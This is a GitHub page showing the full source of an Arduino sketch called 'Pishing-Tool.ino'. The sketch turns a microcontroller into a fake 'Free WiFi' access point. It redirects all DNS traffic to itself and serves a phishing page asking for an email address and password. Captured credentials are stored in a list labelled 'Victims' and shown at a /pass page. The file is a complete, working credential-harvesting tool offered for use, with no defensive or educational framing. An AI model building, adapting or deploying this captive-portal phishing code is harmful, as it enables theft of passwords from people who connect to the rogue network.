-
Notifications
You must be signed in to change notification settings - Fork 0
/
Pishing-Tool.ino
125 lines (101 loc) · 4.67 KB
/
Pishing-Tool.ino
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
// Includes
#include <WiFiMulti.h>
#include <DNSServer.h>
#include <WebServer.h>
// User configuration
const char* SSID_NAME = "Free WiFi"; // you can customize this SSID to any name you want.
const char* SUBTITLE = "Unlimited Free 5g Internet"; // you can customize this subtitle to any type you want.
const char* TITLE = "Login:";
const char* BODY = "Log in with your Email account to access the network.";
const char* POST_TITLE = "Validating...";
const char* POST_BODY = "Your Email account is being validated. It can take up to 3 minutes for device connection.<br>Thank you.";
const char* PASS_TITLE = "Victims";
const char* CLEAR_TITLE = "Cleared";
//System Settings
const byte HTTP_CODE = 200;
const byte DNS_PORT = 53;
const byte TICK_TIMER = 1000;
IPAddress APIP(172, 0, 0, 1); // Gateway
String Victims = "";
unsigned long bootTime = 0, lastActivity = 0, lastTick = 0, tickCtr = 0;
DNSServer dnsServer;
WebServer webServer(80);
String input(String argName) {
String a = webServer.arg(argName);
a.replace("<", "<");
a.replace(">", ">");
a.substring(0, 200);
return a;
}
String footer() {
return "<br><footer><div><center><p>Copyright© 2024 | All rights reserved.</p></center></div></footer>";
}
String header(String t) {
String a = String(SSID_NAME);
String CSS = "#login-text { color: #808080;}"
"header h1 { color: #ffffff; }"
".username-label {color: #30b2b4;}"
".password-label {color: #30b2b4;}"
"body { font-family: 'Helvetica', sans-serif; background-color: #242424; margin: 0;font-style: italic; }"
"header { background-color: #30b2b4; color: #fff; padding: 2rem 0; text-align: center; }"
"h1 { margin: 0; font-size: 2.5rem; color: #ffffff; }"
"p { font-size: 1.2rem; margin: 0.5rem 0; color: #ccc; }"
".container { max-width: 400px; margin: 0 auto; padding: 2rem; background-color: #242424; border-radius: 10px; box-shadow: 0 2px 10px rgba(0, 0, 0, 0.1); }"
"input { width: 100%; padding: 12px 20px; margin: 8px 0; box-sizing: border-box; border-radius: 4px; border: 2px solid #4a4a4a; font-size: 1rem; }"
"input[type=submit] { background: #4a4a4a; color: white; cursor: pointer; border: none; font-size: 1rem; }"
"input[type=submit]:hover { background: #4a4a4a; }";
String h = "<!DOCTYPE html><html>"
"<head><title>" + a + " :: " + t + "</title>"
"<meta name=viewport content=\"width=device-width, initial-scale=1\">"
"<style>" + CSS + "</style></head>"
"<body><header><h1>" + a + "</h1><p>" + SUBTITLE + "</p></header>"
"<div class=\"container\"><h1>" + t + "</h1>";
return h;
}
String pass() {
return header(PASS_TITLE) + "<ol>" + Victims + "</ol><br><center><p><a style=\"color:blue\" href=/>Back to Index</a></p><p><a style=\"color:blue\" href=/clear>Clear passwords</a></p></center>" + footer();
}
String index() {
return header(TITLE) + "<div id=login-text>" + BODY + "</ol></div><div><form action=/post method=post>" +
"<b class=username-label> Email: </b> <center> <input type=text name=username placeholder=Email></center>" +
"<b class=password-label> Password: </b> <center> <input type=password name=password placeholder=Password></center>" +
"<center><input type=submit value=Login></center></form>" + footer();
}
String posted() {
String username = input("username");
String password = input("password");
Victims = "<li>Email: <b>" + username + "</b></br>Password: <b style=color:#ea5455;>" + password + "</b></li>" + Victims;
return header(POST_TITLE) + POST_BODY + footer();
}
String clear() {
Victims = "";
return header(CLEAR_TITLE) + "<div><p>The Victims list has been cleared.</div></p><center><a style=\"color:blue\" href=/>Back to Index</a></center>" + footer();
}
void setup() {
bootTime = lastActivity = millis();
WiFi.mode(WIFI_AP_STA); // Use both AP and STA modes
WiFi.softAPConfig(APIP, APIP, IPAddress(255, 255, 255, 0));
WiFi.softAP(SSID_NAME);
dnsServer.start(DNS_PORT, "*", APIP); // DNS spoofing (Only HTTP)
webServer.on("/post", []() {
webServer.send(HTTP_CODE, "text/html", posted());
});
webServer.on("/pass", []() {
webServer.send(HTTP_CODE, "text/html", pass());
});
webServer.on("/clear", []() {
webServer.send(HTTP_CODE, "text/html", clear());
});
webServer.onNotFound([]() {
lastActivity = millis();
webServer.send(HTTP_CODE, "text/html", index());
});
webServer.begin();
}
void loop() {
if ((millis() - lastTick) > TICK_TIMER) {
lastTick = millis();
}
dnsServer.processNextRequest();
webServer.handleClient();
}